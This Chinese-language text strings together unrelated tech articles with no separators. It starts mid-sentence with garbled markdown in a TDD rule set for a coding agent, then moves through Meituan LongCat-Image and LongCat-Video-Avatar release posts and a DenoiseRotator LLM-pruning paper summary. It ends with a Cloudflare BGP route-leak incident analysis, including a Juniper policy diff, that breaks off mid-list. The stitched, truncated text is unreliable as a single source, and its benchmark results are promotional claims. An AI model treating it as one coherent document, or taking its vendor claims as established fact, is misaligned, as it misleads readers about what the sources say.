**核心要求**: 所有对 `mvn@ 命令的调用(如 mvn test@, mvn compile@ 等),都**必须**使用 --settings@ (或 -s@) 参数来指定一个自定义的 settings.xml` 文件,以确保能够访问内部的 Maven 仓库。

- **命令格式示例**: `mvn --settings [settings.xml的绝对路径] test`
- **`settings.xml` 文件路径**: `[settings.xml的绝对路径]`

Agent 在执行任何 Maven 命令前,必须确认此路径已被正确配置和使用。

---

## 2. TDD 三阶段循环

### 2.1. 第一阶段:RED (写失败的测试)

#### 2.1.1. 目标
编写一个**必然失败**的测试用例,明确定义即将实现的功能需求。

#### 2.1.2. 核心准则
- **允许**: Agent 可以在 `src/test/` 目录下创建新的测试文件或添加新的测试方法
- **要求**:
  - 测试必须是失败的(因为对应的实现代码尚未存在或不完整)
  - 一次只测试一个功能点
  - 测试代码要简单清晰
  - 测试名称要明确表达测试意图
- **禁止**: Agent **不能**修改 `src/main/` 目录下的任何现有代码
- **验证**: 运行测试必须显示红色(失败状态)

#### 2.1.3. 交互示例
- **开发者提示**: "我需要实现一个计算器的加法功能"
- **Agent 回应**: "已激活 **RED 阶段**。我将先编写一个失败的测试用例来定义加法功能的需求。"

### 2.2. 第二阶段:GREEN (让测试通过的最简实现)

#### 2.2.1. 目标
编写**最简单**的实现代码,让当前失败的测试通过。

#### 2.2.2. 核心准则
- **允许**: Agent 可以创建、修改 `src/main/` 目录下的代码
- **要求**:
  - 优先考虑最简单的实现方式
  - 专注于满足当前测试用例
  - 快速实现功能让测试通过
- **禁止**:
  - **不能**修改测试代码
  - **不考虑**代码质量和性能优化
  - **不进行**过度设计
- **验证**: 运行测试必须显示绿色(通过状态)

#### 2.2.3. 交互示例
- **Agent 回应**: "已激活 **GREEN 阶段**。我将实现最简单的代码来让刚才的测试通过,不考虑优化和设计。"

### 2.3. 第三阶段:REFACTOR (重构优化)

#### 2.3.1. 目标
在保持测试通过的前提下,改进代码的设计、质量和可维护性。

#### 2.3.2. 核心准则
- **允许**: Agent 可以重构 `src/main/` 目录下的实现代码
- **要求**:
  - 改进代码设计和质量
  - 消除重复代码
  - 提高代码可读性和可维护性
  - 每次重构后必须运行测试确保通过
- **禁止**:
  - **不能**修改测试的行为和期望
  - **不能**破坏现有功能
- **验证**: 重构过程中和完成后,所有测试必须保持绿色

#### 2.3.3. 交互示例
- **Agent 回应**: "已激活 **REFACTOR 阶段**。我将重构代码以提高质量,同时确保所有测试保持通过状态。"

---

## 3. TDD 最佳实践

### 3.1. 循环节奏
- **小步快走**: 每个 Red-Green-Refactor 循环应该很短(几分钟到十几分钟)
- **频繁验证**: 每个阶段完成后都要运行测试验证
- **逐步推进**: 一次只关注一个小功能点

### 3.2. 测试质量要求
- **快速执行**: 单元测试应该在秒级内完成
- **独立性**: 测试之间不应该有依赖关系
- **可重复性**: 测试结果应该是确定的和可重复的
- **清晰命名**: 测试方法名应明确表达测试意图

### 3.3. 代码质量保证
- **持续重构**: 在每个循环的 REFACTOR 阶段改进代码
- **消除重复**: 遵循 DRY(Don't Repeat Yourself)原则
- **保持简洁**: 代码应该简洁明了,易于理解

### 3.4. 流程控制
Agent 在每个阶段转换时,必须:
1. 明确声明即将进入的阶段
2. 说明当前阶段的具体目标
3. 完成阶段后验证结果
4. 确认是否继续下一个循环

5.2 掌握单测语法

AI擅长基础用例覆盖,但复杂业务场景、边界条件仍有可能需要开发者手动编写。不要完全依赖AI构造用例。

5.3 选择合适场景与策略

快速决策法则:

  • 简单功能:单个方法,逻辑直观,采用“先实现,后验证”;
  • 复杂业务逻辑:多分支判断、算法计算、状态转换,采用TDD“先验证,后实现”;
  • 存量代码修改:采用“安全网保护”策略;
  • 提示词难以描述需求时:测试用例是最好的需求文档,采用TDD让代码直接表达需求。

5.4 持续维护

单元测试必须与业务代码演进保持同步。一个过时的、无人维护的测试集,其价值会迅速归零,甚至成为负资产。

六、结语

如今,单元测试已被赋予全新的意义——它不再被视为一种“开发负担”,而是进化成为AI Coding时代的“质量引擎”。

我们构建起三重关键保障:

  • 策略一:以客观检验替代主观判断,让AI代码告别“看起来没问题”的错觉;
  • 策略二:为存量代码筑起防护墙,使修改存量代码安全可控,降低演进风险;
  • 策略三:用测试作为与AI的沟通语言,精准传递复杂需求与预期。

更深层次的变化在于,我们正在重新定义开发者的核心价值:当我们从“思考提示词”转向“思考测试用例”,本质上是从AI代码被动的审查者,转变为了主动的需求设计者与质量掌控者。这不仅加速开发进程,更显著提升代码质量。这正是AI时代中,开发者与智能工具协同进化的优秀范式。

当前 AI 图像生成技术需求旺盛,但行业陷入 “两难困境”:闭源大模型性能强劲但无法自行部署或二次定制开发,开源方案普遍存在轻量化与模型性能难以兼顾、面向商用专项能力不足的痛点,制约商业创作与技术普惠。为此,美团 LongCat 团队正式发布并开源 LongCat-Image 模型,通过高性能模型架构设计、系统性的训练策略和数据工程,以6B参数规模,成功在文生图和图像编辑的核心能力维度上逼近更大尺寸模型效果,为开发者社区与产业界提供了 “高性能、低门槛、全开放” 的全新选择。

技术亮点

LongCat-Image 采用文生图与图像编辑同源的架构设计,并结合渐进式学习策略,在仅 6B 的紧凑参数规模下,实现了指令遵循精准度、生图质量与文字渲染能力的高效协同提升。尤其在单图编辑的可控性和文字生成的汉字覆盖度方面独具优势。

模型架构

亮点一:图像编辑高度可控

LongCat-Image 在图像编辑领域的多个重要基准测试中(如GEdit-Bench、ImgEdit-Bench)均达到开源SOTA水平,实现性能突破的背后在于一套紧密协同的训练范式和数据策略。为有效继承文生图模型的知识和美感,同时避免文生图后训练阶段收窄的状态空间对编辑指令多样性的限制,基于文生图Mid-training阶段模型进行初始化,并采用指令编辑与文生图多任务联合学习机制,深化对复杂多样化指令的理解。此外通过预训练阶段的多源数据及指令改写策略,以及SFT阶段引入人工精标数据,最终实现了指令遵循精准度、泛化性和编辑前后视觉一致性的共同提升。

风格迁移与属性编辑能力对比

结构编辑与构图编辑的能力对比

亮点二:中文文字生成精准覆盖

针对中文文本渲染这一行业痛点,LongCat-Image 通过课程学习策略来提升字符覆盖度和渲染精准度:预训练阶段基于千万量级合成数据学习字形,覆盖通用规范汉字表的8105个汉字;SFT 阶段引入真实世界文本图像数据,提升在字体、排版布局上的泛化能力;RL 阶段融入 OCR 与美学双奖励模型,进一步提升文本准确性与背景融合自然度。此外通过对 prompt 中指定渲染的文本采用字符级编码,大幅降低模型记忆负担,实现文字生成学习效率的跨越式提升。通过该项能力加持,有效支持海报设计、商业广告作图场景中复杂笔画结构汉字的渲染,以及古诗词插图、对联、门店招牌、文字Logo等设计场景的生僻字渲染

文字生成能力对比

此外,LongCat-Image通过系统性的数据筛选与对抗训练框架,实现了出图纹理细节和真实感的提升。预训练和中期训练阶段严格过滤AIGC数据,避免陷入“塑料感”纹理的局部最优;在SFT阶段,所有数据均经过人工精筛来对齐大众审美;在RL阶段,创新性地引入AIGC内容检测器作为奖励模型,利用其对抗信号逆向引导模型学习真实世界的物理纹理、光影和质感。

图像生成综合能力对比

性能验证

客观基准评测

客观基准测试性能对比

全面的客观基准测试充分验证了 LongCat-Image 的核心竞争力:图像编辑任务中,ImgEdit-Bench(4.50分)、 GEdit-Bench 中英文得分(7.607.64分)分别达到开源SOTA水平,且逼近头部闭源模型水平;文字渲染方面,ChineseWord 评测以 90.7 分的成绩大幅领先所有参评模型,实现常用字、生僻字的全量精准覆盖;文生图任务上,GenEval 0.87 分、DPG-Bench 86.8 分的表现,使其在生图基础能力上相比头部开源与闭源模型依然具备强竞争力。

综合主观评测

在衡量模型的通用能力时,我们始终将用户的真实体验放在首位。为此,我们采用业界公认的主观评价方法,对LongCat-Image在“文生图”与“图像编辑”两大核心场景下的表现进行了系统评估。

在文生图方面采用大规模的人工主观评分(MOS)方法,核心覆盖 文本-图像对齐、视觉合理度、视觉真实度、美学质量4个维度,LongCat-Image 的真实度相比主流开闭源模型表现出色,同时在文本-图像对齐与合理度上也达到开源SOTA水平。在图像编辑方面采用严格的并列对比评估(Side-by-Side, SBS)方法,聚焦于综合编辑质量、视觉一致性这两个用户体验的维度,评测结果表明,LongCat-Image 虽然与 Nano Banana、Seedream 4.0 等商业模型存在一定差距,但显著超越了其他开源方案。

人类主观评分(MOS)对比& 并列对比评估胜率(SBS)

开源开放

为了构建一个更透明、开放、协作的开源生态系统,我们全面开源文生图的多阶段模型(Mid-training、Post-training)和图像编辑模型,旨在无缝支持从前沿研究到商业应用的全流程。我们坚信,真正的技术进步源于社区的集体智慧。诚邀广大开发者体验模型、参与共建,让我们共同基于这个高效能模型,探索视觉生成的更多可能。

🔗 资源链接:

| Hugging Face: https://huggingface.co/meituan-longcat/LongCat-Image

| GitHub: https://github.com/meituan-longcat/LongCat-Image

零门槛解锁 AI 创作新可能

LongCat APP:一键生成专业级图像

继文生图功能上线后,「LongCat APP」全新升级图生图能力!上传任意素材(风景照、自拍照、草稿线稿均可),模型将精准捕捉核心元素,按需求生成全新图像。同步上线 24 个零门槛图片玩法模板,涵盖海报设计、人像精修、场景改造等多重场景,点击 “AI 创作” 直接套用,彻底告别 “提示词焦虑”,小白也能快速产出专业级作品。

LongCat.ai:网页端高效创作入口

进入https://longcat.ai/点击「图片生成」,可上传参考图、自由调整比例、选择心仪风格,无需复杂配置即可快速获得高质量生成结果。无论是商业设计初稿、社交媒体素材,还是个性化创意创作,都能高效完成。

扫描下方二维码即可体验 Web 端及下载 LongCat APP 安卓版本(iOS 用户可直接在 APP Store 中搜索“LongCat”)

快翻出相册里压箱底的素材,即刻使用 LongCat-Image 解锁图片创作的无限可能~

美团 LongCat 全新上线 AI 生图功能,该功能基于 LongCat 系列模型「LongCat-Image」打造而成。不仅在文生图任务中实现了“快、真、准” :出图快速响应、达到摄影棚拍摄质感、中文渲染精准度高;更在图像编辑任务上做到了精准便捷,无需复杂指令,可以用自然语言对图像进行二次编辑。无论是追求高效出图的普通用户,还是需要精准落地创意的专业创作者,LongCat 都以 “轻量化模型 + 流畅体验” ,让 AI 生图真正成为人人可用的创作工具。

目前,AI 生图功能已在 LongCat APP 和 https://longcat.ai/ 同步上线,轻松解锁高效创作新方式。

LongCat · AI 生图「三大功能亮点 」

亮点一:图像生成 + 编辑一体化,创意落地无断点

从 “文字生成图片” 到 “用嘴改图” 一步到位,帮你轻松拿捏专业创作:

  • 简单提示词也能高效出图:基于深度优化语义理解能力,简单提示词也能生成效果高度契合画面、布局、氛围及内容,在保障质量的前提下大幅提升创作效率。
  • 全场景编辑无断点:支持物体增删、风格迁移、视角转换、人像精修、文本修改等 15 类细分任务,无论是简单的背景替换,还是复杂的多轮复合指令,均能精准执行。
  • 多轮编辑不丢质感:修改后画面和原图风格、光影保持一致,不会出现 “拼接感”,人像编辑保留面部特征,多轮编辑画面不跑偏。

prompt:头发颜色变成灰色,衣服颜色变成米色,面带微笑

prompt:拉远镜头,显示更多室内场景

prompt:将人物变为棕色的熊,保持相同的姿态

prompt:消除最左边的饮料

prompt:让猫闭上眼睛

prompt:变成真的老虎,在海边

prompt:在红色圈添加一个白色的钟表,绿色框添加黑色的手提包,黑色框添加一只白色的猫

亮点二:中文文字生成超能打,生僻字也不翻车

中文文字生成能力优异,生僻字生成也不在话下:

  • 字符渲染优异:店铺牌匾、海报标题、书籍封面等场景的中文文字,无错字、漏字、字体扭曲,多行排版、段落文本均能精准渲染
  • 生僻字高覆盖率:非常见字、异体字、书法字体(楷体、行书)准确率较高,适配传统文化、专业领域等特殊创作需求
  • 智能排版:自动匹配场景调整文字大小、颜色、行距,如古风文案搭配书法字体,科技主题适配现代无衬线字体,无需手动调整

亮点三:快速生成摄影棚级质感画面

  • 快速响应不等待:轻量化技术优化让单张高清图高效生成,效率较同类工具有一定提升,高频创作无需久候。
  • 质感堪比棚拍实景:优化构图与光影美学,物体纹理、场景光影精准复刻真实世界,人物肢体、物体比例遵循物理规律,实现摄影棚拍质感。

强大功能背后的「技术底座」

LongCat-Image具备出色的跨语言图像编辑能力,通过共享 MM-DiT+Single-DiT 混合主干架构与VLM条件编码器,文生图与编辑能力相互辅助,继承文生图的出图质量并具备出色的指令遵循、一致性保持能力,在主流公开评测基准上达到第一梯队水平。文字生成专项能力上,覆盖全量通用规范汉字并在在商业海报、自然场景文字上都展现出极强的适用性。此外,通过精细化模型设计及多阶段训练策略优化,极大提升生成真实度、合理性并可支持消费级显卡高效推理。

文字生成基准测试

图像编辑基准测试性能比较

用 LongCat 记录你的「灵感瞬间」吧!

LongCat APP 体验入口:在「LongCat APP」中,你可以:输入一句话,生成高质量图像,或对生成图像进行迭代编辑、多轮生成,快速响应。

LongCat Web 端入口

您可以登录 https://longcat.ai/  ,体验高效的 AI 生图功能,或对生成图像进行多轮编辑。

iOS 用户可在 APPStore 中搜索 「LongCat」

更多玩法探索

在大语言模型(LLM)快速发展的今天,庞大的参数规模带来高昂的推理存储成本和回复时延,已成为实际应用中的关键挑战。特别是在面向人机对话的应用场景,模型推理效率直接影响到对话体验。在推理优化方法中,参数剪枝作为一项经典的模型压缩技术,旨在通过剔除模型中“不重要”的权重来实现参数量的显著降低与计算效率的提升。然而,传统的“剪枝-微调”范式或直接的后训练剪枝方法,往往带来明显的模型性能损失,特别是在硬件友好的半结构化稀疏(如 2:4 稀疏)场景下,该问题尤为突出。这使得应用中的模型效果和推理效率,呈现一个“鱼和熊掌”的两难局面。

面对这项挑战,美团 LongCat Interaction 团队联合上海交通大学听觉认知与计算声学实验室,以及香港科技大学的研究者,共同完成了大模型剪枝方法的创新研究,提出了名为 DenoiseRotator 的新技术。通过首先对参数矩阵进行变换,“浓缩”对结果有影响力的参数,再对重要性最低的参数进行剪枝,实现了大模型剪枝的新范式。DenoiseRotator 能够与现有的剪枝算法快速集成,有效缓解模型压缩带来的性能损失。这一研究成果已在 2025 年的 NeurIPS 会议上发表。

01 动机:传统剪枝的局限性——密集训练与稀疏推理的隐式冲突

传统后训练剪枝的一般流程可概括为:对一个已训练好的 稠密模型,基于某种启发式准则(如权重幅值或 Wanda、SparseGPT 等算法)为每个参数赋予“重要性分数”,随后根据预设的稀疏度阈值,移除分数较低的一部分权重。 尽管流程清晰,该方法存在一个本质局限:其整个剪枝过程建立在 固定不变的参数空间 上,本质上是一种 被动的筛选机制。这进一步凸显了以下深层冲突:

  • 密集训练 的本质是隐式地激励模型 充分利用每一个参数。每个参数都承载了一定的知识或推理能力,并通过参数间的协同工作共同支撑模型的整体表达能力。

  • 稀疏推理 则要求模型仅基于 被保留的部分参数 完成推理任务,并保持高性能。

这种训练目标与推理机制之间的内在不一致,意味着 直接裁剪必然会导致部分知识或推理能力的丢失,从而破坏原有参数间协同工作的平衡,引发性能下降。

02 技术方案:DenoiseRotator——从“被动筛选”到“主动优化”的范式转变

针对上述挑战,我们重新思考剪枝范式:能否在剪枝前先对模型进行 稀疏性引导的优化,使其 自身结构更易于被剪枝?基于此,我们提出了“重要性浓缩”的全新思路,并开发了 DenoiseRotator 框架予以实现。

2.1 核心思想:重要性浓缩

我们的核心目标是在执行剪枝 之前,将原本分散在众多参数上的重要性,尽可能地 集中到一个较小的参数子集中。这样,在后续剪枝过程中,被移除权重所包含的关键信息将大幅减少,从而显著增强剪枝的鲁棒性。
为量化并优化“浓缩”效果,我们引入了 信息熵 作为衡量指标。通过将参数重要性分数归一化为概率分布,其熵值直接反映了重要性的集中程度:熵越低,表明重要性越集中于少数参数。因此,我们的优化目标明确为 最小化归一化重要性分布的熵

2.2 实现机制:可学习的正交变换

DenoiseRotator 通过向 Transformer 层中引入 可学习的正交矩阵,实现重要性分布的熵减与浓缩。

如上图所示,我们在 Transformer 层的特定位置(例如 Attention 模块的 Value 和 Output 投影层前后)插入正交矩阵。这些矩阵对原始权重进行“旋转”变换,在 保持模型输出完全不变(得益于正交变换的计算不变性)的前提下,重新分配参数的重要性。

2.3 关键优势

训练与剪枝解耦:DenoiseRotator 采用 模块化设计,正交矩阵的优化与具体剪枝方法完全独立。我们首先利用校准数据,以最小化重要性熵为目标训练这些正交矩阵;训练完成后,将其合并回原始权重。此时,我们获得了一个“易于剪枝”的优化版稠密模型,可 无缝对接 任何现有剪枝工具(如 SparseGPT、Wanda)进行后续操作。

优化过程稳定:正交变换具有保范数特性,确保在重新分布重要性时,既不会人为引入也不会丢失总重要性量,从而保证了优化过程的稳定性,不影响原始模型性能。

下图直观展示了 DenoiseRotator 的有效性。以 LLaMA-3-8B 模型首层输出投影层为例,经我们的方法变换后,参数重要性分布从分散趋于高度集中,为后续剪枝奠定了坚实基础。

03 实验验证

在前文中,我们介绍了 DenoiseRotator 的核心思想——通过重要性浓缩提升剪枝鲁棒性。那么,这一方法在实际效果上表现如何?我们针对多个主流开源大模型进行了全面评测,涵盖语言建模和零样本推理任务,并与现有剪枝方法进行了对比。

3.1 实验设置:覆盖多模型、多任务、多剪枝方法

为全面评估 DenoiseRotator 的有效性,我们在多样化的实验设置下进行了系统性验证。实验覆盖了从 Mistral-7B、LLaMA3(8B/70B)到 Qwen2.5(7B/14B/32B/72B)等多个主流开源大模型,评测任务包括语言建模(使用 WikiText-2 验证集的困惑度 PPL 作为指标)和零样本推理(在 PIQA、WinoGrande、HellaSwag、ARC-e 和 ARC-c 五个基准任务上评估平均准确率)。在基线方法方面,我们将 DenoiseRotator 与三类剪枝方法结合:经典方法 Magnitude,以及先进方法 Wanda 和 SparseGPT,并在非结构化(50%稀疏)和半结构化(2:4 稀疏)两种稀疏模式下进行对比评测。

3.2 主要结果:语言建模与零样本推理全面提升

下表展示了不同模型在剪枝前后的困惑度(衡量语言建模能力)与零样本任务表现。DenoiseRotator 在所有模型和稀疏模式下均显著降低剪枝造成的性能下降,尤其在 2:4 稀疏下提升更为明显。

3.3 深入分析:熵减如何驱动剪枝鲁棒性?

我们通过消融实验验证了 重要性熵与剪枝效果的直接关联。以 LLaMA3-8B 为例,记录不同训练步数下的熵值变化与模型性能:

熵减少 13%(步数 100)即可带来零样本任务准确率提升 3.66%(66.88%➡70.54%),困惑度降低 19.5%(9.567➡7.701)。进一步优化可继续降低困惑度,验证了 重要性集中度与剪枝鲁棒性的正相关

3.4 部署效率:轻量开销,显著收益

  • 参数增量:每层新增一个(hidden_size, hidden_size)正交矩阵。以 LLaMA3-8B 为例,总参数量增加约 0.5B(占原模型 6.7%)。通过分块对角矩阵(见论文附录)可进一步降低开销,适合资源受限场景。

  • 推理耗时:单层 Transformer 的 2:4 稀疏计算耗时 4.37ms,加入正交矩阵后仅增加 0.32ms(1.24× 加速比 vs 稠密层)。

04 总结

DenoiseRotator 提出了一种创新的剪枝视角:将模型准备(重要性浓缩)与模型压缩(剪枝)两个阶段解耦。通过可学习的正交变换,主动实现参数重要性的浓缩,从而显著提升后续剪枝的鲁棒性。该方法具备 即插即用 的特性,为大规模语言模型的高效、高性能压缩提供了新的技术路径。

项目地址https://github.com/Axel-gu/DenoiseRotator

希望跟大家一起学习交流。如果大家对这项工作感兴趣,欢迎在 GitHub 上 Star、Fork 并参与讨论!

今年 8 月,美团开源的 InfiniteTalk 项目凭借无限长度生成能力与精准的唇形、头部、表情及姿态同步表现,迅速成为语音驱动虚拟人领域的主流工具,吸引全球数万名开发者的使用。10月底,LongCat 团队开源了 LongCat-Video 视频生成模型,尤其在长视频生成领域具备显著优势。

在 InfiniteTalk 和 LongCat-Video 基座的良好基础上,LongCat 团队针对实际场景中的核心痛点持续优化,正式发布并开源 SOTA 级虚拟人视频生成模型 ——LongCat-Video-Avatar。该模型基于 LongCat-Video 基座打造,延续 “一个模型支持多任务” 的核心设计,原生支持 Audio-Text-to-Video(AT2V)、Audio-Text-Image-to-Video(ATI2V)及视频续写等核心功能,同时在底层架构上全面升级,实现动作拟真度、长视频稳定性与身份一致性三大维度的显著突破,为开发者提供更稳定、高效、实用的创作解决方案。

点击查看产品介绍视频

开源地址:

一、技术亮点

1.1 开源 SOTA 拟真度:让虚拟人“活”起来

告别“僵硬”,迎接“鲜活”。还记得以前那些虚拟人吗?只有嘴巴在动,头和身体却像没通电,看起来既尴尬又不自然。全新的 LongCat-Video-Avatar 彻底改变了这一点。它像一位全能导演,不仅指挥嘴型,还同步指挥眼神、表情和肢体动作,实现丰富饱满的情感表达,让虚拟人真正“演”了起来。

点击查看效果对比

连“不说话”的时候,都很像人: 真人说话是有停顿和呼吸的。我们通过一种独特的训练方法 Disentangled Unconditional Guidance(解耦无条件引导),让模型明白了“静音”不等于“死机”。现在,哪怕是在说话的间歇,虚拟人也会像你我一样,自然地眨眼、调整坐姿、放松肩膀。

这种技术让 LongCat-Video-Avatar 成为首个同时支持文字、图片、视频三种生成模式的全能选手。从口型精准到全身生动,虚拟人从此有了真正的生命力。

各类训练策略的对比分析

1.2 长时序高质量生成:让视频“稳”下来

上一代 InfiniteTalk 在长视频生成中会出现视觉质量退化的现象,而VAE 的反复编解码是正是视觉质量退化的主要原因。现有方法通常将上一段生成结果解码为像素,再将末尾帧重新编码为潜变量,作为下一段的条件——这一“解码→再编码”循环会持续引入累积误差,导致色彩偏移与细节模糊。

点击查看效果对比

LongCat-Video-Avatar提出了Cross-Chunk Latent Stitching(跨片段隐空间拼接) 训练策略以根本性解决此问题。在训练阶段,我们从同一视频中采样两个连续且部分重叠的片段,在隐空间内直接进行特征替换,让模型学会在潜空间中无缝衔接上下文。在推理时,系统直接将前一段生成的 latent 序列末尾部分作为下一段的 context latent,全程无需解码到像素域。该设计不仅消除 VAE 循环带来的画质损失,还显著提升推理效率,并有效弥合训练与推理之间的流程差异(train-test gap)。实验显示,LongCat-Video-Avatar 在生成5分钟约 5000 帧视频时仍保持稳定色彩与清晰细节

LongCat-Video-Avatar 的整体架构

1.3 商用级一致性:精准锚定角色,让演绎生动自如

点击查看效果对比

为维持长视频中的身份(ID)一致性, InfiniteTalk 采用注入参考帧的方式,但有时会导致色彩偏移(color shift)或动作僵化(“复制-粘贴”效应)。LongCat-Video-Avatar 从以下两方面进行系统升级:

  • 基座升级:视频基础模型迁移到 LongCat-Video,后者在大规模长视频预训练中具备了更强的身份保持与色彩一致性先验。
  • 参考机制创新:我们引入了带位置编码的参考帧注入模式。推理时,用户可通过指定RoPE中的索引位置,灵活控制参考帧在生成块中的插入位置。更重要的是,我们设计了Reference Skip Attention机制,在参考帧相邻的时间步,屏蔽参考帧对注意力计算的直接影响,仅允许其提供身份语义先验,而不主导具体动作生成。这套机制在确保ID一致性的同时,有效抑制了动作的重复与僵化,使长视频既稳定又富有变化。

Reference Skip Attention 机制的示意图

二、模型性能

2.1 客观基准评测

在 HDTF、CelebV-HQ 、EMTD 和 EvalTalker 等权威公开数据集上的定量评测表明,LongCat-Video-Avatar 在多项核心指标上达到SOTA领先水平。

在 HDTF、CelebV-HQ 与 EMTD 数据集上的定量对比

在衡量唇音同步精度的 Sync-c/Sync-D指标上,LongCat-Video-Avatar 在各个数据集上均取得 SOTA 成绩;在一致性指标方面(FID、FVD、CSIM)也表现优异。

2.2 综合主观评测

为贴近真实用户体验,我们基于 EvalTalker 基准组织了大规模人工评测,从“自然度与真实感”维度对生成视频进行盲测打分(5分制)。

在涵盖商业推广、影视娱乐、新闻时事、日常生活和知识教育五大场景的单人对话测试中,LongCat-Video-Avatar 的综合评分领先于包括 InfiniteTalk、HeyGen、Kling Avatar 2.0 在内的众多主流开源与商业模型。

通过基于EvalTalker基准的严谨人工评测(共492名参与者),LongCat-Video-Avatar在多个细分维度获得显著正向反馈:

  • 静音段表现:绝大多数评审者指出,LongCat-Video-Avatar 在静音段能保持如呼吸、眨眼等自然微动作;
  • 长视频稳定性:在长序列生成中,相较 InfiniteTalk,该模型展现出更优的身份一致性与视觉连续性,有效缓解了长期存在的漂移问题;
  • 动作多样性:得益于创新的参考帧机制,其生成的动作被普遍认为更为丰富、自然,避免了明显的重复或“复制-粘贴”效应;
  • 语言表现:LongCat-Video-Avatar 在中文和英文语言中均优于所有对比方法,体现出稳健的跨语言性能和精准的音画同步效果;
  • 应用场景表现:LongCat-Video-Avatar 在影视娱乐、日常生活和知识教育场景中表现最优,展现出在多样应用场景下的强泛化能力。

三、One More Thing,开源是为了更好的共创

LongCat-Video-Avatar 是我们继 InfiniteTalk 之后,在数字人生成方向上的持续迭代。我们关注开发者在长视频生成中遇到的实际问题——身份漂移、画面卡顿、静音段僵硬,并尝试从模型层面给出改进。

这次开源的不是一个“终极方案”,而是一个进化的、可用的技术基座。它们都基于真实反馈与长期实验,代码和模型均已开放。我们坚持开源,是因为相信工具的价值在迭代中产生,而迭代需要更多人的使用、验证与共建。如果你正在探索数字人相关应用,或对生成技术有想法,欢迎关注我们的项目,更欢迎留下你的反馈。

开源地址:

现在,轮到你来创造“千人千面”的数字世界了。

这是一场典型的“看起来只是删了几行配置,实际把闸门拆了”的事故。

2026 年 1 月 22 日,Cloudflare 在美国迈阿密(Miami)的一个数据中心路由器上,因为自动化路由策略配置错误,把一部分原本只该在内部传播的 IPv6 BGP 前缀意外对外宣告了出去,形成 BGP Route Leak(路由泄漏)。事故持续 25 分钟,导致迈阿密骨干链路拥塞、部分客户流量丢包/延迟升高,同时还把一些外部网络的流量“误导”进迈阿密,最终被 Cloudflare 的防火墙过滤规则丢弃(峰值丢了约 12Gbps 入口流量)。

听起来像网络圈的“蝴蝶效应”:你只是在路由策略里挪了一块砖,结果半个街区的车流都改道了🚧。


什么是 Route Leak:

不是“断网”,是“指错路”

路由泄漏的本质非常直白:某个 AS 告诉整个互联网:来我这走,我能带你到终点——但它其实不该这么说。

BGP 里有个“潜规则”:从上游(provider)和对等(peer)学到的路由,不能再转发给另一个 peer 或 provider,否则就违反所谓的 valley-free routing。一旦违反,流量会被吸到不该承载它的网络上,轻则拥塞、抖动,重则大范围不可达。

image

这次事故就是类似的“指路牌摆反了”:Cloudflare 在迈阿密把从一些 peer 学到的路由,又转手“推销”给了其他 peer 和 transit provider,属于 RFC7908 里提到的多种 route leak 类型混合体(简单理解:该往下游走的路,被错误地往上/平行扩散了)。


时间线:从合并代码到止血,只花了 25 分钟(但足够难受)

这次节奏很“现代工程化”:代码合并 → 自动化跑配置 → 线上立刻出事 → 人肉回滚止血 → 再回滚代码。

Time (UTC)Event
2026-01-22 19:52 UTC触发路由策略 bug 的变更合并进网络自动化代码仓库
2026-01-22 20:25 UTC自动化在迈阿密单台边缘路由器运行,开始向 transit/peer 异常宣告(IMPACT START)
2026-01-22 20:40 UTC网络团队开始排查迈阿密的异常 BGP 广告
2026-01-22 20:44 UTC事故升级,开始协同处置
2026-01-22 20:50 UTC操作员手动回滚坏配置,并暂停该路由器的自动化(IMPACT STOP)
2026-01-22 21:47 UTC触发泄漏的代码提交被回滚
2026-01-22 22:07 UTC确认自动化恢复健康,可重新在迈阿密路由器运行
2026-01-22 22:40 UTC迈阿密单台路由器解除自动化暂停

“删掉 Bogotá 的前缀”怎么删成了“全都放行”?

事故起点其实很合理:Cloudflare 之前会把一部分 IPv6 流量经迈阿密转发到哥伦比亚波哥大(Bogotá)数据中心,但随着基础设施升级,这个绕路不需要了,于是要把 Bogotá 相关前缀从迈阿密撤掉。

变更 diff 大概长这样(看着很“无害”对吧?):

[edit policy-options policy-statement 6-COGENT-ACCEPT-EXPORT term ADV-SITELOCAL-GRE-RECEIVER from]
-      prefix-list 6-BOG04-SITE-LOCAL;
[edit policy-options policy-statement 6-COMCAST-ACCEPT-EXPORT term ADV-SITELOCAL-GRE-RECEIVER from]
-      prefix-list 6-BOG04-SITE-LOCAL;
[edit policy-options policy-statement 6-GTT-ACCEPT-EXPORT term ADV-SITELOCAL-GRE-RECEIVER from]
-      prefix-list 6-BOG04-SITE-LOCAL;
[edit policy-options policy-statement 6-LEVEL3-ACCEPT-EXPORT term ADV-SITELOCAL-GRE-RECEIVER from]
-      prefix-list 6-BOG04-SITE-LOCAL;
[edit policy-options policy-statement 6-PRIVATE-PEER-ANYCAST-OUT term ADV-SITELOCAL from]
-      prefix-list 6-BOG04-SITE-LOCAL;
[edit policy-options policy-statement 6-PUBLIC-PEER-ANYCAST-OUT term ADV-SITELOCAL from]
-      prefix-list 6-BOG04-SITE-LOCAL;
[edit policy-options policy-statement 6-PUBLIC-PEER-OUT term ADV-SITELOCAL from]
-      prefix-list 6-BOG04-SITE-LOCAL;
[edit policy-options policy-statement 6-TELEFONICA-ACCEPT-EXPORT term ADV-SITELOCAL-GRE-RECEIVER from]
-      prefix-list 6-BOG04-SITE-LOCAL;
[edit policy-options policy-statement 6-TELIA-ACCEPT-EXPORT term ADV-SITELOCAL-GRE-RECEIVER from]
-      prefix-list 6-BOG04-SITE-LOCAL;

问题就出在:把 prefix-list 条件删掉后,策略项的匹配条件变得过于宽松,直接变成了“只要是 internal route-type,我就 accept,然后对外 export”。

policy-options policy-statement 6-TELIA-ACCEPT-EXPORT {
    term ADV-SITELOCAL-GRE-RECEIVER {
        from route-type internal;
        then {
            community add STATIC-ROUTE;
            community add SITE-LOCAL-ROUTE;
            community add MIA01;
            community add NORTH-AMERICA;
            accept;
        }
    }
}

这里有个 JunOS/JunOS EVO 的坑点:route-type internal 会匹配所有非 external 的路由类型,包括 IBGP 学到的内部路由。于是本来只想“内部可见”的 IPv6 前缀,被这条 export policy 直接放行对外广播了。

一句话:原来靠 prefix-list 当“门禁”,删了门禁后,剩下的条件相当于“只要你是小区住户,就能把快递站里的所有包裹搬出去”——策略写得再“优雅”,accept 一落地就成了事故开关🔘。


影响面:拥塞、丢包、延迟上升,还顺带“误伤”外部网络

当迈阿密开始对外宣告这些不该宣告的 IPv6 前缀后,互联网路由收敛会让部分流量被吸到迈阿密。结果就是:

  • 迈阿密—亚特兰大骨干链路出现拥塞,导致一些 Cloudflare 客户流量出现更高的延迟/丢包
